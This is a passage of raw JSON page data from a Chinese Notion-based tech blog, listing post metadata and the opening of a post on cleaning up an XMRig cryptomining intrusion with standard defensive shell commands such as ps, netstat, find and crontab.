arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":"","blockMap":{"block":{"7e13a286-a275-4f48-b9d0-416c9b1368ce":{"value":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","version":324,"type":"page","content":["ada1daa9-9ec1-4546-9254-ddf3e5ad8162","861b8d3c-c4f1-4ece-a760-e9d0eddd8e90","d666b229-4f44-4e54-9332-9bea24a143f4","25a26dc5-65f8-4e1f-85c6-c3d3c9958af5","660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd","a79c184e-b4b1-40be-9b0c-8ac739647018","e296a959-a78b-4075-96e9-8513be10984a","557aa532-93be-450a-a95a-57fe1fbef80c","7a0d9210-16b0-47f6-9109-cbe8dacd1197","513bf277-14f2-40df-9fe5-5d5e66266ad1","f1b00174-0fc2-4c92-aa89-1240ab7a2880","f61d0519-01a1-478e-80c7-35c9118bc24d","a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","dfa778c0-22eb-460f-91da-4c9e89100d07","8706dcce-a26a-4928-a907-a8d5f6dbad7e","b51cfb34-025c-4e9b-a604-99d4b02e9fc5","cf3a69ec-dc8f-4808-8034-89fe5bd29d14","0e833496-a19a-41a7-b6a0-78d848bf1754","723a182a-626b-4c3a-a918-e190ff211798","1ee5667c-9025-478c-9b94-0303a98f4067","af73c0b0-fefa-4be8-908d-9f53434e90f1","26d7cf25-e010-42fc-a17a-f41bf5810199","6ad39ada-a5ba-4717-b358-d1d013de7f01","6da1726b-3b01-4477-9f83-9c21240b1f03","c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","ac2e2b33-c939-4e51-b645-a75d92cefce2","bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","9213b777-2c2f-4959-89fe-83076a290465","1f2fa689-6444-408e-8982-d97876cbaca9","8a913cee-ee89-46cd-a83e-a3f02655f038"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710853767745,"last_edited_time":1710868542884,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"ada1daa9-9ec1-4546-9254-ddf3e5ad8162":{"value":{"id":"ada1daa9-9ec1-4546-9254-ddf3e5ad8162","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"861b8d3c-c4f1-4ece-a760-e9d0eddd8e90":{"value":{"id":"861b8d3c-c4f1-4ece-a760-e9d0eddd8e90","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"d666b229-4f44-4e54-9332-9bea24a143f4":{"value":{"id":"d666b229-4f44-4e54-9332-9bea24a143f4","type":"callout","properties":{"title":[["叮咚!阿里云提示你,你的服务器正在被攻击!"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853886689,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"25a26dc5-65f8-4e1f-85c6-c3d3c9958af5":{"value":{"id":"25a26dc5-65f8-4e1f-85c6-c3d3c9958af5","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd":{"value":{"id":"660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd","type":"image","properties":{"size":[["287.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5a5eece4-6451-458c-bdb3-642896fe44e8/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5a5eece4-6451-458c-bdb3-642896fe44e8/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5418118466898955,"block_preserve_scale":true},"created_time":1710853947661,"last_edited_time":1710853954162,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["5a5eece4-6451-458c-bdb3-642896fe44e8"]}},"a79c184e-b4b1-40be-9b0c-8ac739647018":{"value":{"id":"a79c184e-b4b1-40be-9b0c-8ac739647018","type":"header","properties":{"title":[["排查思路"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853984146,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"e296a959-a78b-4075-96e9-8513be10984a":{"value":{"id":"e296a959-a78b-4075-96e9-8513be10984a","type":"code","properties":{"title":[["#上去服务器先看看这个文件\nps aux | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710853998397,"last_edited_time":1710854047375,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"557aa532-93be-450a-a95a-57fe1fbef80c":{"value":{"id":"557aa532-93be-450a-a95a-57fe1fbef80c","type":"image","properties":{"size":[["87.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.07175660160734787,"block_preserve_scale":true},"created_time":1710854095533,"last_edited_time":1710854100787,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["0c1d2d17-20c1-4e26-97f8-697d634eefda"]}},"7a0d9210-16b0-47f6-9109-cbe8dacd1197":{"value":{"id":"7a0d9210-16b0-47f6-9109-cbe8dacd1197","type":"code","properties":{"title":[["#排查下pid关联的文件 -> 没啥收获\nll /proc/{pid}/fd \n#查看网络链接,记住关键ip\nnetstat -tunap | grep {pid}\n#kill再说\nkill -9 {pid}\n#然后全局查找文件(这里要记住文件大概什么时候创建的)\nfind / -name xmrig\n#rm -rf xmrig相关\nrm -rf {xxxx}\n#检查下定时任务,该取消就取消\ncrontab -l\n#再检查下xmrig相关后台程序 -> 我这里使用xmrig关键字没搜到\nsystemctl list-units --type=service | grep 